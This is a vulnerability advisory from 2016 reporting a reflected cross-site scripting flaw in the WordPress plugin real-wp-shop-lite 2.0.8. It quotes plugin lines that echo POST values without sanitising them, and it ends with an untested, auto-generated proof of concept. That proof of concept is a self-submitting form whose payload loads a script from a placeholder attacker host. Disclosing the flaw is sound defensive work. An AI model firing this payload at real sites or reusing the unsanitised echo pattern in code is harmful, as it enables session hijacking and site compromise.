Advisory #: 958
Title: Reflected XSS in wordpress plugin real-wp-shop-lite v2.0.8
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/real-wp-shop-lite
Downloads: 1064
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: real-wp-shop-lite
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./real-wp-shop-lite/inc/pc/add_products_pc.php: 197: <input type="text" name="sku" id="sku" class="regular-text mand" value="<?php if (isset($_POST['sku'])) echo $_POST['sku']; ?>"> 230: <input type="text" name="price" id="price" class="regular-text mand" value="<?php if (isset($_POST['prod-name'])) echo $_POST['price']; ?>"> 239: <input type="text" name="pw" id="shipping" class="regular-text" value="<?php if (isset($_POST['pw'])) echo $_POST['pw']; ?>"> The variable sku appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./real-wp-shop-lite/inc/pc/add_products_pc.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/real-wp-shop-lite/inc/pc/add_products_pc.php method=post> <input type=hidden name=sku value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>